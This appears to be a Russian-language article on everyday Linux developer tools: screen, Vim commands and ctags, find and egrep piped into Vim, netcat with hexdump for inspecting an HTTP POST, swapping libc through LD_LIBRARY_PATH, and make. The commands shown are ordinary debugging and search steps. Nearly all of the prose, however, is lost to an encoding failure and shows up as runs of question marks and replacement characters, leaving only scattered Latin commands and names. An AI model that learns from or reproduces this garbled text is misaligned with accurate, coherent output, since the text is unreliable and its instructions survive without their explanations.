????�?????燙trl^a,��????�).
???�??:�????�???爏creen,�????�??�??��???�?????�?�?????�??�??
???� ????� ???� ???�??�????� ??????.� ???�???�???�?� ?????�??� ????�??????�
??� ?� ???�??� ????�???,� ??� ???�?� ?� ???�?????.� ?????�???� ?� Vim� (???� ????
?????�???�?)�???爉ain.cpp.
vim爉ain.cpp
??� ?????�???�?� ????� main.cpp.� Ctrl^a,� ?????� Ctrl^c.� ??� ?????� ?� ????�
??????,� ?� ????� ???�??� Vim?� ??????� ??????� ??� ???�???,� ???�??� ???�??????
???�??�????�???�????�??�????�(�???粻?�??�?????�??爏creen).�??�???�
???�????��??�???�??�??�????,�??�?????燰im,�?????�?� Ctrl^a,�????
???�??燙trl^a.
??�???????�?�???�?????�?????��???�??�?????�??爉an???,�????�?
???�???� ?????� ????�?� ?????� ???�??� ?� ???�?????�??� ????�???� ?????�?
?� ???????� (?????� ?� ?????,� ??????� ?� screen,� ??????�??� ??????� Ctrl^a� ?
???�???�????�???�???�???):
? Ctrl^c��??????�????�????
? Ctrl^a� ?� ?????�?????�?� ?� ???�???�??� ????.� ???�????�??� ???�???
?�???燝UI�????�???�??�?????�??�??�??????� Alt^Tab.�????�???�?,
???�?�????�?????�?�????????�??�?�????�???,�??�????�????�????
?� ?????�???� ????�??� (????�??,� ???�???�??� ???�???�??� ?????�??� ????�
????�?�????�???�????�?�????�???�???�?�??�??�?)?
? x��??�?????�???爏creen�(???�??�??�????�?�??�??�?�???�?�?????)?
? k� ?� ???�???� ???????� ????� (????� ???� ?????�?� ??� ???� ??????�?,� ???�?
?� ???????� ????� ??????�?� ?� ???�??� ?????�????�?� ???�??�????� ?� ???�???�
???�????�?�?燬SH�??燭elnet)?
? "��??????�??�??�???,�??�?�????�?????�?��???�?�???
? '��???�?�??�???,��??????�?????�????�?????�?�(???�?,�??�?????
???�???,�???�???)?
? ?� ?� ?????�?� ?????�?.� ?� ?????,� ????� ???� ????�???�?� ??� ???????� ???�??
????�???�????�???�??營DE?
? Esc� ?� ?????�?� ?� ?????� ??????�????.� ?� ??????�????� ???� ???�?� ??????�
??????�?� ???� ???�??�??????� ?????�?????� ????,� ???�?� ???�??????,� ?� ???
???�???燦�????�????.�????�?�?????�?????�????��?�??????燛sc
(???�???�??�??�??�?燙trl^a)?
? S� ?� (NB!� ???�?????� ???�?)� ???�?????� ?????� ??� ???� ??????�?� (???� �????�
???粻 ?� ???�?????�??� screen).� ???????� ????� ????�???� ?� ???�???� ????�??,
?�??�??�???�???�?�?????�??�???�?,�?,�????�????�???��???�????�
??� ??� Tab,� ???�?� ???�?????� ???� ????� ??� ???� ?????�??� ????� ???� ???????
??????
? Tab��????�??????�(�?�??�?�)�??�?�???�??�??
? Q� ?� ???�???� ???� ????�??,� ???�?� ??????�?.� ???� ????� ????�??� ???�????�
????,�?�???�???�???�???,���??�??�?�????�?????�??
? X��??�???�??????�???�?.
Screen燾�???�??,�??�????�??�?�??�???�??
??�???� ???�?� ???� ???� ???�?????� ??????�??,� ?????� ???,� ?� ???� ??� ???� ???,
????�????�??�???�?????�???�?.
??�???� ????�???� ???�?� ??????�?????,� ???�????� ???�??� ???�???� ??� ????
?????� ???� ???�?,� ?� ???� ??????�??� ??????� ???� ??????� ????????????� ?????�
?????,�?????�???��?????�?????�??�?.�??�????�??�?�??�???�?�???�
???,� ???�?� ????????� ???� ???� ??????�??� ???�?????�??� ???�??????,� ?????�?
???� ???� ??????�???�?� ?????�?� resize,� ???????� ???�??�?� ?� ?????�???� ????�?
screen:�resize�???????????????.
???�?� ??????� ???�???�??/?????�????� ???�???,� ???� ???�?� ???�??� ???�?
??�??�??�+�??�:�resize�+10�??�????�??�??�?????�?�???�??�?�?????
?????,�resize�5�????�??�??�??�???�??�?�???�????.
??�?�???�????????�????�?���???�??�????�?�??�??�??�??爏creen,�?
???�?�??�?????�????�?�??????�???�??�????� |.�?�????�???�??�???�
?????�??� ???�??????� ??� ???????�???� ??????�??� ???� ????� ?????� ????�?.
???�?� ???�?????�???� ???????� ????�?� ??� ???????�???� ?� ???�?????,� ??� ???,
??�????�??�?,�??�?�???????�??�?.
Screen��???�??,�??�????�??�?�??�???�??
????�???��??????,�??�???�??�?�??�?????�??.�???�???�??�????�??�
title�??.��???�??�??�???�?牜?????粻????��??�???爏rc�(???�?????燰im
?�???????�????),爑art�(???�??�????��??????�???�????�?�?�??�??????�
????�???� ???�?),� adb� (???�??�????� ?� ???????�???� ?????�?� ??� ADB),� build
(??????�???�?).�??�????�??????�?�??�???�'�??�??�??�??�???�?�???�
??,�??�????�?�??�???�??�??�??�?�(sr,爑a,燼d,燽u).
??� ?� ???�?� ?????�???� ??� screen,� ???�???� ???� ?????�????.� Screen� ??????�
????�?,�??�?�??�???�???�??�?????�?�??�???.�??�?�???,�??�?�??�?
??爏creen,�???�??�??�???�?????�??�?��???,�????�??� :detach� (???�?
??�??�????�?�?�???�????�??�?????�??�???� d).�??�???��??�?�???�?
screen� ???�?� ?????� ???�??�???�?� ???�?.� ????�?� ?????� ????� ?????�?
???�?????��??�??�??�??????.
?�??�??�????�????:�??�???�?,�??�??�??�???�??�??�???�?�??�????�
????????�??�???�??�??�???�???�?�???�??�??�???�?�??�?????�??�???�
???????�?�???�????�(?�???�??�?�???�????�?��??�????燲�??�??????�
??�燫HEL6�?燚ebian).�???�?�??�?????�???�??�??�?爏creenrc�,�????�?,
????�???�(???�????�?�??�??:���??????�??�???�?).
VIM:�??????��??????
????�?,�?????燰im,��?燛macs?�??�????�?�??�????�?�????�???????�???
???�???�?????�???,�?�??�?�????�?��???�????????,�???���??�???�
??.� ???�?� ????,� ??� ?????� ????�??????�?� ???�?,� Vim,� ???�??� ???� ???�??,� Vi,
????� �?� ?????�?粻 ??� ????�???�??� ???�????�??� Linux????�??:� ?????�????,
???�???�??,�??�?????.�??�???�??�?�???�??�???�???�??�???.
??�??????� Vim� ??????�??� (????� ???�????�???� UI� ????�??� ???�??
??????�???�???�?��??�?)��????�???????�?��???�??????�(????�????�?
????�?,�?�??�???�??�??�???�???):�?????�????�?��????�???�?????.
???�?�????�?燰im�????��????�???�?????:�??�??�??�??��??�?????�
??� ???�???�?� ?????�???.� ?????� ???�??????�??�??� ?????�?� ???�???�?
?� ???�?????� ???�?????�??� ???�?????�?,� ?????� ???�??� ???�??�?� ?� ??????�
????� ????�?� (?� ???�?????�??� Vim� ???� ???�???�?� ??????�??� ???????
?�?????�???�??????�????�???�???�?).
??�??�?��????�????�?�?�????�??�?�?????�??�?�??�???�??�????�
??,� ?????� ????�??� ??� ???????� ?� ???????� i?� ?????�?� ?� ?????� ?????�???
????�?� ??� ?????�??�?� ??????� ???�?� ????�?� ??????�?� :.� ?????� ???????
?�????�???�????��?�??????燛sc�??燙trl^[.
???�?�??�???�?��??�?,�??�??�?????燰im�??�???�???????�????�???
?????.�??�???�???�??�????�??�????�?????��??�?????,�?�???�???�
????� (???� ?????� ???�????)� ??� ???�???�??� ???�??:� ???�?� ???�????,� ???�????
?�??????.
????�??,� ???�????,� ?????�?� d� (delete).� daw� (??????�???�?� ???�???�??
delete?a?word)� ???�???� ???�?� ?� ???????� ???�????� ???�??� d� ?� ???�????
(delete),�燼w��??????.�aw�??�???�??�??�?,�??????��??????�??�????
????�???� ???�????� ??� ???�?� 3� ?� ??????� ?� ???,� ???� ??� ???,� ?????�?,
???????�?,�??�?�??�????.�l�??�???�?????�??�?,�??????��??????�???�
?????� 4� ?� ???�?� ???�????,� d� ?� delete,� l� ?� ??????�????� ???�???� ????�?� (?
?????�???� ??????� Vim� ???� ??????�????� ???�???� ???�?� ??????�?????
??�???�?�??�?????�??�???�???�??�???燩C????�????�?,�?��????�?爃,爅,
k�爈).
??,� ????????� ?� Vim� ????� ?????�?,� ???�??�?� ???� ??,� ???� ????�?� ??????
??�????�?,�?????�??�?????�??�??�??��?????�?????�???�??�?�????�
?????�?.�?�??�?�??�???...�??�?,�??�????,�???�???�??�?????�??�???
????�?�燰im��牜????�??粻???�??�??�????�???.�??�????�??�?��??????
???�???:�燰im�� daw,�牜????�??粻?????�???��??????�???�???�?�???,
????�??� ???�??� ????????� ???�?,� ???�???� ????� ??� ???�????�?,� ??????� Back?
space.� ???�????� ???�??� ?� ???????� ???�???� ??� ???�?� ????�?:� ?� Vim� ?� D,
?� �???�??粻 ???�??�??� ?????�???� ?� ???????�???� ????� ??� ????,� ??????
?????�???�?,�???�????,�????�?�?�??�?�???�?,�??�???�???�?�??�?????�
??,� ??????� Backspace.� ????????� ???�???� ?????�??� ???�???� ?� ???????� ????�
????:�燰im�爔p,�牜????�??粻???�??�??�????�???...�?,�?�????.
???�???�?�???�?�??�??牜???????粻?????????,�??�??�??�????????
???�??�??????�???�??�??��?????�?�??�??:�???���?????.�?��??燰im
????�??�???�???:�????�?�?????�????��????�??�?,�???�??????,�????�
??,� ???�???� ??????�????� ??� ??????� ????�?� (:????????????),� ???????
??� ????�?� (/??????).� ?� ?????�??� ???�???� ????�?� ?????� ??????�?????�?
?�??�??�??�??????,��??????�??�?????�??.�??????�??�?????�??�燰im
???�???�???�?�?????,�??�?,�???????,�???�?�??????�?燩erl.
?�?????�????�?�??�??�??�???�??????�???�??�??�??�???�??�?????�
????�???�????�?�???�??�???,�?????�???�?�??????� Ctrl^p.�?,燰im�
???�?� ????� ???�??�??� ?????�??,� ?� ??� ???�??????,� ?� ????,� ???� ???�??� ?� Intel?
liSense��???????????燼ss?studio,�?,�??�?�?????,�?????�???.��??�??�???�
????,� ???� ???�??�???� ????�????�?,� ???????� ???�??� ??????� ?� ??????� ????,
?�?�??�?�???????�??�???�??營DE,�???�???�??�?�??�????.
Vim� ???�????�???� ???�?????� ????????� ????�?,� ???�????�??� ????�???
screen� (?� ???�?????�??� Vim� ???� ???????� ??????�???� ????�?),� ????�??� (???
???�?????�?????�?�??�???�?)��??????��?�??�?????�?�??�???�????�
???�??� ????�???�????,� ???�????� ????�??????� ??� ???�??�??� ????�??
???�???.
Vim��???�??�??��????????�??�???�???�?��????�???
??????�????�?� ???�??� ???�???????� Vim� ?� ???????�??� ?� ???�???�?� ??????�
????�??�??�?:
? :!� ???�??????� ?� ???�???� ???�??� ???�???� ?� ????�?????� ??� ?????.
???�???�???�?????�???�??�????�??�?????��???�??�????�?�??�????�
??,�??�????爂it:
??�??�???�????�?�??�??�?,�?�?????�?燰im
? :r!� ???�??????� ?� ???�???� ???�??� ???�???� ?� ????�???� ??� ?????
?�??????�??�???.�????�?????�??�?????��nd�爂rep.
???�????,�?�????�??�?��??????�??�???燣inux�??�??�?,�??????�???�
??�?????????�???�????�爉mc:
:vnew
:r!爁ind爈inux�name�'*mmc*'�type爁
??�?�???牜???�???�???粻????�?�??�??�??????:
? find� ?� ????�??�???� ???�???� ?????�???� ???�??�?,� ???�??� ???�?
??�????�??�??�???�??
? linux� ?� ???� ??????�?,� ?� ???????� ???�?� ??????� (????� ??� ??????,� ??
???????�??????)?
? 璶ame��??�????�???�?�(??�??�?)?
? '*mmc*'��??�??�???�??
? 璽ype��??�???�??�????�???�?�(?????�?�???�??�?)?
? f��?????�???�?�???�??�??�?,�?�???�????�???�?????�?,�??�?????�
???�??�?��??�??.
??�???� ??� ?� ???�?????� ?????�??� ???�??� ?� ????�??� ?� ????� ?� ???�???� ???�?
???�??.
??�??�??�??
???�?�?�????�??�???�?�???�?�??�?�?�?????�??燚ocumentation�爐ools:
:115,142d
???� ???� ?????� ?????�???� ????�?.� ???� ???�???�??� �?� ????�??粻 ???�???�?
????� ?????�?:� d,� ???�??�?,� ????�???� delete,� ??� ????� ???�???� (????�?)?
115,142� ?� ??????�??� ?� ?????�??� ????�?� ???�???�??� ?????�?.� ?� ?????�??
????�?�????�?????�?????�?�????�???�?�??�??????�??�?????�??.
:44��?????�??��???�?��??�??�??????,�?????�?????�?爂f�(???�?
?????�???:爂o??le).
??�??????�?�??�?????�燰im�?�??�???�?�???�?�????��????�???
????
?� Vim� ?????,� ???� ????� ???� ????�??,� ?????�?� ?????�?� ????�?.� ??????...
??� ????�????� Vim� ??� ???�???�?� ?????�?????� ????� ??� ????�??????� ???�???
??????,� ????� ???????� ?????� ?� ????� ????� ???� ????�??.� ??� ???� ???�??�????�
????� ?????�??� ?????�???� ????�?� Vim� :set� hidden.� ?????�???,� ???�?� ????�
????爂f.�??????!
??�??�?�set爃idden�??????
??�???,�???�??????,�?�????�??�?�??�??�?,�??�?????�???�?�??�???
??� ??????�?� ???�?.� ???� ???�?� ????�??� ???�???� ?????�???� ???�??�?� grep,
?�?�?????�??�??�???�?��????�???燰im:
:vnew
:r!egrep�Rne�'\bmmc_(select_card|desele
ct_cards|set_dst|go_idle|send_op_cond|set_relative_addr|send_(
csd|status|cid)|spi_(read_ocr|set_crc)|bus_test|interrupt_hpi|(
can|get)_ext_csd|switch_status|switch|(start|stop)_bkops|flush_
cache|cmdq_(enable|disable))\b'�?include�'*.h'�?include�'*.c'
??,� ???� ????� ???????�?� (???� ???� ?� ????� ???�?� ????�?????�?� ??????),
??� ???????� ???�???� egrep� ????� ?� ???�??� ???�???� mmc_select_card,� mm?
c_deselect_card,� ??� ?� ???� ?????.� ???� ????�????� ???�??�?� (???�???� ?????
???�???���??�???�??????�???�??�??,�?�???�?�??�?,�??�??�??�?)
??????�???�?� ?????� ??include,� ???� ???�???�?� ???�???� egrep� ??????� ????�?
?�??�??,�??�?�??????�???�???�??�?�??�???.�???�?,��???�?�?include
????� ????� ?????� ????�??�??:� ????� ?????� ???????�?� ???�?� ???�??� ??� C++
?�??�?????�??�.cpp,�.hpp,�.cxx,�.hxx,��???�.c++�(??,�????�?�?�?�??????,
????�?�??�?�??�??).
??�?????,��???,�??�??�??????�?,�?�???�????�???�??�???�??�???
?�?????�??�??????�?�???�???�???��???�???�??營DE�??�??�?�?�???�
?????� ?� ???????� Ctrl.� Vim� ????�?� ??� ??� ??� ???????� Ctrl^].� ????�?,� ???
?�???�??�???�?�?????�??�???燾tags.�??�???燾tags�??�???�???��??�??
tags� ?� ??????� ???�???,� ???�???�??� ???????�??,� ????�???�??� ????�??,
?????�??,�??�????...�?????,�??�?,�??�???.�?�??????� Ctrl^]燰im�???�?
????爐ags,�???��??�??�?????�????�??�???,�?????�??�?�??�??�????,
???�?�???�????�???��??????�???�??�??�??�?�??�???�??�?.
????�????牜???�????�??�???粻�,�??�???�???�??????�??�?????�???
(?� Vim� ????� ?????�????� help,� ??????�???� ??� ??????� ?????�???� ????�?� :
help)��??�??�?????�???.�?燰im�?????�?�??�??�?�???????�??�??,��??
???�?� ?� ??� ][???�?,� ?� ????.� �???�????�??� ??????�??????� Vim粻 ???� ???�?,
???????,�??�??�?�???,�??????�??�?????�???.
??????????? ??????
?
? �?????�?????
??????
????? ?�??????
???�?????????�?營DE��????
?????�???????????��????????
?�???
?????????
??� ?????�???� ???�??� ???� �?????�??� UNIX�,� ???????� ????� ???,� ???� ?????�
?????�??�??�?????�???�?�???�???,�???�?????.�??�??????�???�??
?????� ??????�??� ???�????�???�??�??� ???�???�??� ???�?� ?????�???� ???�?
?????��??�?????�??�??�??�???�???.
????�??�??????�??�???�??�??�??�????�???�???��????�???�??�???�
??:� ????�??�???� ??????� ???�????????,� ????�??�?� ?????�???� ????�?
?� ???????�??� ????�????.� ???� ?????�?� ????�????� ???�???�?� ????�??�?
?�??????�??�???�????,�??�??�???��???�???�???��???�???�?????�??,
???�?�???�???�?�??�??�?�???�??�??�?�??�?�(?�???�?�??�?�?????�??
???�??� ???�??� ??� ???�?)� ?� ???????� ??????�???� ?� ????�??�???� ?????.� �
?????� ???????�??� ????�???粻  ????�????� ???????� ????�????� ??� ????�?
?�???�??�???�????�??�??.�??�????�????�???�???�????�???�??�??�?
???�??�????�?�??�??�?????�????�??:
? ???�??�?,�?�?�???�(pipe),�?�?牜???�?�,�????�???�???�??�???�????
?????�???�????�?�???�??�???�??�??�??�??�???�?????
? ???�??�??�?� ?????�?,� ???�???�?� ????�??�???� ?????� ????�????� ?� ?????�
????�?�??��???�??
? ???�??�??�?� ???�??�?,� ????�???�???� ????�??�???� ????� ???� ????�??�???
?????� ????�????� ?� ????� ???�??�???� ???�?,� ???????� ???�??� ????�????
?????�??????�??�??�??�??�??????
? ????�?????�??????�??�???�????�??�????�?????�?�??�????�?�????�
?????.�??????�??�???�????�?�??�????�???�???�??�??�????�??�?
?????�????�???�????,�??�??�?�?�??�????�??�???�?�?�?????�????�
???�??????,�??�??�??��???�???�?�??�??�??.
??� ????� ???�??,� ??????�?� GNU� ????�???�???�???�???� ??????�??�??,� ?????�
??????�?�???�??�?�??�?�??�?????:
? find��????�??�??,�???�???�??�???�???�?�??�??�???�??�??�????�
???
? grep��???�??�??�????��??�??�?�??????�???�?????�???
? awk��???�??�?�??�??�??�????�?�??�????
? ??�????�????�???�??�??� ???�???:� curl,� wget,� vim,� git,� netcat,� hex�
dump.
???�?,�??�??�?????,�???���???�???.�??�??�??�??��??�???�??�???�
???�??.� ????� ??� ???� ??????� ???�??� ???�??� ????�??�??�?� ??????� ???�???
?nd�燰im.�??�?�?�????�????�?,�??�??�?:
$爁ind爈inux�name�'mmc*.[h?]'�type爁爘爒im�
???�??�?� (???�??� |)� ???�???�?� ???� ?????�?� ?� ?nd� ?� vim.� ???�?� ?????� ????�
????,�??�?�?�????�???!�???�??�???�????�??�???�nd��??�??�??�???�
???� ?� ??????�?� linux� ???�??,� ???�?� ???????� ??????�???� ?� mmc� ?� ?????�????�
????�??�?????�.h�??�.c,��?????�???�?�???�??�???�???燰im.�?,�燰im
????� ????� ????�??�???� ????.� ?� ?????�??� ????�??�??� ?????�???� ????�?� Vim
????�?�?????�?�??�?�??�??,�?�??�??�??�??�??� ?,�??�???�???牜????�
??????� ???� ???�??� ??� ????�??�??�?� ???�?粻 (????�?,� ?????�??� ????�??????
??????�?�??�??�??�???).
??�???,� ??� ???�??� ???�??� ???� ??� ????� ???,� ???�??� ???�?,� ??� ?????.
???�??�???,�??�??�???�?�??????�??�??�?��??�??�??�????�???:
$爒im�p�?�$(find爈inux�name�'mmc*.[hc]'�type爁)
???� ???� ???�??� ???�??�??�?� ?????�?.� ???�???� ?nd� ??????�???� ???�??� ???
???�?�??�??.��?????�??� $(...),�???�?????�nd,��??��???�??�???�
???�?� ?????�?,� ???�???�?????� ????�??�???� ?????� ?nd� ?� ?????�??� ????????�
???�????�???�???�?燰im.�????�p�??�?????燰im�???�???,�??�??�??�??
???�?�??�?�????�???��?????�??�????�??,��????�?��??�????�???�?
??�????��?�??�??�???� ????�?�??�?�??�??.�??�?�???�??�燰im�????�
????�?� ???????,� ???� ???,� ????� ?????�?� ?nd� ???�??� ????�??� ???�?� ???�??,
?????�??�?�???�?�????�?�??,�?????�??�?�???�????�?�(??�?�??�??�?
?????�?????�?�??�???�??????�?,�help燽uffers燰im�???��?????).
???�?????�??�???????�??�??,�??�??�?????�???�?,�???�??�?�??�??
???� ??????�??� ?????� ?????�???� ???�???,� ??????�??� ???� ??????�?� ????�?.
?????�??,�???��??�??爉mcugly.h�??????�?��?????�?��??�??爉y爑gly
(???�????�?�??�??!),�??�?��?????�????�?�nd�??�?�??�???�?????�?
my爑gly/mmcugly.h.燰im,�??��?,�??�??�??�??�??�??�??�??�(????????�
???�???)�??�?:�???��??�??爉y,�??�??��??�??爑gly/mmcugly.h.
???�???�?�??,�????�?,�??,�?,�??�??�???,�????�??�?�?�?????�???
????� ??� ????�?????�?,� ???????� ?????� ???�????�??� ?????�????,� ?� ?????�
??????�???�???�??�??.
???�?????� ???�??.� ?????�??,� ???�??� ???????�?� ???� ???�??�??� Git� (??
????�??????�?�?????�????燝it,�???�?�????)��?�?????�??????�??�???�
??,�??????�???�???�???:
$爒im�p�$(git爏tatus�s�uno爘燼wk�'{print�$2}')
?????� ???�??�??�?� ?????�?,� ???�??� ???�??�??� ??� ????� ??????.� git� status�
?s�uno,�??�???�??�??�???�????�??,�??????�??�?????�??�??�??�????
?????� ?s� ???�???�?� ????�??� ???�??� ??????,� ??� ????� ?� ????� ???�???,
?� ???????� ???�??� ?????�?� ?????�??� ???�?????� ???�?,� ?� ???�??� ?????�?� ?
???�??�??�?????�uno�??�???�?�???�???�???�??�?,�??????�?�??????�?
???�??�??�??爂it,��??�??�?燰im�?�???�???�????�???�??�????�?????
????�??�?� ????�?� ???�???� (??,� ???� ???�???�?� ???�??�??� .gitignore� ???� ??
?????� ????�??�?).� ???�??,� awk� '{print� $2}',� ???�???�?� ???�???�?� ?????
???�??��?�??�??�???�?�??????�???�?�??�??�????�?.�?��?,�??�???�
???�??�?� ?????�?� ??????�?� ???� ???� Vim� ?� ?????�??� ????�??�??� ?????�???
????�?,�???�???,��????,�?�??�?�(???�??�?????牜???�?????�????粻????�
??�??�??�??�?????�???�???).
??�?� ??� ?????� ???�??� ???�??� ?� grep.� ???� ???�???�?� ???�?,� ???� ????
??????�?� ?� ???�??�??????�??� ????� ???�??� �??�???�.� Grep� ???�????� ?????
??�??????�???�?????�??,��???�?�?�?????�??????�??�???�???��??,
???� ???� ????� ?� ???� ???????� ??????�??.� ??� ????�????� grep� ????� ???�??????
?�??????�??�?????�???��???�??,�??????�???�?�?�???�??�??�?�??�?,
??� ???� ???� ??� ????????� ????�??�?.� ?????�?� ?????�??� ???�??�????� grep
?????�????� ????�???� ?????�????� ??????�?,� ??????� ???�??????� ?� ???�??.
???,�??�????:
$爀grep�Rne�'\bmmc_select_card\b'爈inux�?include�'*.h'�?include�
'*.c'爘爒im�
???,� ???� ??� ??????,� ???????� ???????� ??� ??????� ????�?,� ????�?� ???�?� grep
???????�?�?�????�???�???�?燰im,��??�??�?�???�?�?�?�????�?????�
???�?�????�???�??�??�?.�??????,�????�???�??�???�??�??�?????�??
????�?�??�??�??�????�??�???�??�?:
$爀grep�Rle�'\bmmc_select_card\b'爈inux�?include�'*.h'�?include�
'*.c'爘爒im�
??�??� ?l� ???�???�?� grep� ????????� ????�?� ???�?� ???�??,� ???� ????� ?????
?� ???�?� ?????�???�?� ???�?� ???�???� ??� ???�??????,� ???�?� ??� ???�???????
??????�???.
???????� ????�?????�?� ????�?� ????�?� ???�??� ???�?� ??� ??????� ????�????
????:
$爀grep�Rne�'\bmmc_select_card\b'爈inux�C�?include�'*.h'�
??include�'*.c'爘爒im�
?????� ?????�???�???� ????�??�??� ?????� ?C,� ???????� ????�?????�?� grep
?????�?�?�???�?�????�?��??�?????�?,�?��??�????�(?�??�??�??�??�
???� ????�?� ????�?� ?� ???� ???�?� ??� ????�?,� ???�?????� ?� ???????�??� ???????�
????).
??�??爂rep��??�??�???
??� ?� ?????????� ?� ???????� ???�???�???.� ???� ???� ????� ?????�??� ???�??
??� ????�???.� ???�???� ??????�??� ????�??�??,� ???????� ????�???� POST?????�
???�?燞TTP????�??.�??�??�?�??�??????�?????�?????�??�???��????�
??�???�???�??�??�??�????��??�????牜??�????�?��??�?????�??�???�
???� ????�????� ???�???� lighttpd� ?� ???????�??� CGI??????�??� ???� ????????
???�??�?燩ython燭ornado.�??????�??�?�???��??�???�?????�????�????
???�??� ??� ?????� ?� ??????.� ????�?????????????�???� ???�???� ???� ?????�?
???�?,��???�????�?��??�???:
$爀cho�e�'HTTP/1.1�0燨K\r\nContent?Length:�r\n'爘爊c�l�p�80�
|爃exdump�C
?�??.�???�?�??�??�????��?????�???�??�??�????爊c�(netcat,�?�?????
?燦orton燙ommander),�?�????�??�?�??�???????�?.燦etcat�??�???�?�????�
??????�????�????��???????�??�??�?燭CP,燯DP�??�???�????燯nix燚o?
main燬ockets.�????�??�????�???�?�??燭CP????�??�(??�???�??????�????
?l),�??????�???�?????�?�???�80�(?????� ?p),� ???????� ???�????� ??� ????
???�??� ??� ????� ????�??�???� ?????� ?� ??????�?� ?� ????� ???�??,� ???�????
??�???�??�??�?�??�?.��?�???�??�???�???��???�??�???�?�???�??�???
?????� ?????�?� echo,� ???�???�????� ????�?� ???�??�???� ?????� ??� POST?????�
???.
???�???�?� POST????�??� ?� ???�??� ???�???�??� ???�???� ???� ?????�???
???�????� ???�??,� ????�??�???� ?????� netcat� ???????�????�???� ??� ????�???�
????� ????� ???�???� hexdump.� hexdump� ???????� ???�????� ???�??,� ???�????�
????�?�?�???�??�???�???,��??�???�?????�??�?�?�???�???�??�???
?????.�??�???�?????�??�?��??�???�???,�爃exdump�??�????�???�???�
???� ???�???� ????�???�????.� ???�??,� ??????�???� ????�?� ?C,� ???????,
?????� ????�??� ?� ????�???�???????�??,� ???� ???� ????� ???�?????�?,� ???� ??
??�???�???�??�????�?�???�????.
???�?????�??� ????????� ???�?� ?????� ????????,� ???� ??� ???� ??????�???
?????� ??????�???:� ??????�?� ???�???� ?� ????�?� ?????� ??� ???�??�???�???�?,
?� ???� �????�???�??粻 ??????�?� ?????� ?� ???� ??????,� ???�?� ???�??� ???� ????�
??????� ??� ???�????.� ??,� ???� ???!� ?????�?,� ??????� ???�?� ???� ??????�???,
??�??�?�?�??�????��??�???�??�??�??�?�???�???�????�????.�??�???�
???�??�???�???�?,�??????�???��??�???�?��????�???�??�??�???.�爊g?
inx� �??�??� ??????,� ??� ????� ?????,� ??� ?...� ?� ?????,� ???� ?????�??�??� ?� SMS�
???�?��?�??�??.
DIY????�??��???�????�?
???�?????,�??�??�?��??�??�??�?�????�?��??,�??????,�????�??�??
???�??� ?� ????�???� ????�?????�?????�???�???.� ???�??�??�?� ???�??�?...
???�????,�?????�???�??�??�???���????�???�?????�?,�?�??�??????�
??�??,�??,�???�???�?�?????.
???�?�?�???�?????�??????�??,�?�??�?�??�??�???�??�?�??�????�
????,� ???�?� ????�?????� ??� ?????�??????� ????�?????� ???�????�??� ??????
???????� ???�???� ???�????�??� ???�?????� ???�????�?.� ???�????,� ???� ???�?
????�???�?????�??�??�??�????�?爈ibc�?�?????�???��??�????�??�????
�???�?� ???� ???�??�.� ??????�?????� ?� ??????�?????� ???�??�??� ???� ????!
???� ??????� adb/netcat/tftp/??????????????� ??????�?� libc.so� ?� ???????� /tmp,
?�?????�?�??�??�?????�?爐mpfs.�?��???�?�??�??:
$燣D_LIBRARY_PATH=/tmp�??????????????????
?????�?�???�?�?????�?????�??�?????�??�???�??��???�????,��??�?
????�??�?????� ???????�??� LD_LIBRARY_PATH.� ???????�??� ????�????
LD_LIBRARY_PATH� ????�?� ???????,� ?� ???????� ???�???� ?????� ??????� ???????�
???�??� ???�????�?� ????�?� ???�?� (?� ???�??� ???�??� ?� ???????� /tmp).� ?????
????�??,�??�????�?�??�????�??�???�??�????�?????�?????�???�??�??
??????�??�??�??�????�?爈ibc.so,�?????�????��?????�?�/tmp.
LOVING燤AKE�燤AKING燣OVE
???�?????�????�?�?�??�?????�??:�?,�??�?????�?�??�?�爉ake,�?,�??
?????� make????�?,� ?� ??,� ???� ???� ??� ?????� make????�?.� ???�??�??????
?�???�??�?????�?????�???�????�??�?�??�??�???�????�?�???�??.
make��??�???,�??????�????�???�???�?�??�???�??,��????��???�?
???�??�?� ????�?� ????�???�??� ?????�??� (?,� ?????�??,� ?????????� ???�????)
???�????.� ????�??,� ???�????,� AOSP� ???� Buildroot.� ??,� ???�??�?� ???�??
??????�?��??�??�????�?�??�???�??�?�????�???�???�??�???�??�(????
??,�????�?,�?�???�??�?�???�??�??).
??�???�??� make� ????�?,� ???� ????�?:� ????�??�?� ????�?� (???�????,
???????�???�???�??�???�??),�?????�???��??�?????�??爉ake�?????,
???????� ??� ???�??� ?� ???�??� ????�??�??� ????�?� (???�????,� .o????�??).
??????�????� ?????� ?????� ????� ??????�??�?� (.o?????� ???????� ??� .c????�?),
?� ???� ad� in?nitum.� ???�?� ??� ??????�??�?� ????????� ????,� ???�?� ?????�???
?????� ???�????� ?� ??????.� Make� ????�???�?� ???�??�??� ???????� ???�??
?????� ?� ??????�??�??:� ????� ????� ?????� ?????� ??� ???�?� ??????�??�??,� ??
make� ???�???,� ???� ??????� ??????� ??� ???�?.� ???�??�?,� ?????�???�?,� ??????�
????�?�????�????,�?�???�??�???�???�?????�??�?�?????�??�??,�??????�
???�?� ??????�??�??� ??????�??�??� ?� ??,� ??� ?????.� ????�?� ?� ???????�???
?�?�???�??�?????�?�?�????:�??�????,�???�???????�???��???????
?????,� ?� ?????� ?????�???� ?????�?� touch� ???� ????,� make� ???� ???�?� ?????
??????,�??�???�?�??�????�???.
?�???�???,�??�???�????�???�??�?????�??,�?�???�????�?�??�???�
??� ?????� ???�??� ???�???�??:� ???�????,� ????,� ?????�?????� ???�????
??�???�????,�???�?�?????�???燼ll,�???,�????�?????�???�??�?,�爄nstall,
????,� ?????�?????� ????�??� ??????�?� ??????�?� ??� ????�??�??� ????�?,� ?
clean.
??�?,� ??????�??�?� ?� ?????�?� ???�???�???� ?� ???�????�??� ???�??????�
????�??� ???�??,� ??????�???� make????�???.� ??� ????�????� make� ????
?� ???????� ??????�?� make????�?� ?� ???�??�??????�???� ???�???� GNUMake?
?le,爉ake?le�燤ake?le.�??�??�???,�?????�???�?�??�?????�???�??�??�?
(?� ???????�????� make� ???????�???�?� ????�?� ??).� ??� ????�?� ??????�??
?????�?� ?????�???� ?� ?� ?� ???� ????� make????�?� ?� ???�?????�??�?� ???�???,
????� Make?le.windows.wix.� ???� ???�???,� ?????� ???�?� ?????�???�?
??� ?????????????� ?????�?� ???� ???�???� make????�?,� ??,� ????� ??� ???�??�?,
???�?� ??????� ???�???� make� ???� make????�?� ???� ??????� make� ?f� ????
?????.
????�?�??�???????�爉ake�???�?�???�???�?????�???�???�??爉ake?
???�?� ???� ?????� ????� ???�?.� ?...� ???�??� ???�???:� ???�?????� make� ??????�
????�??� (????� ???�?� ????� ??� ???�???�??� ??????�?????� ????�?� Tab??
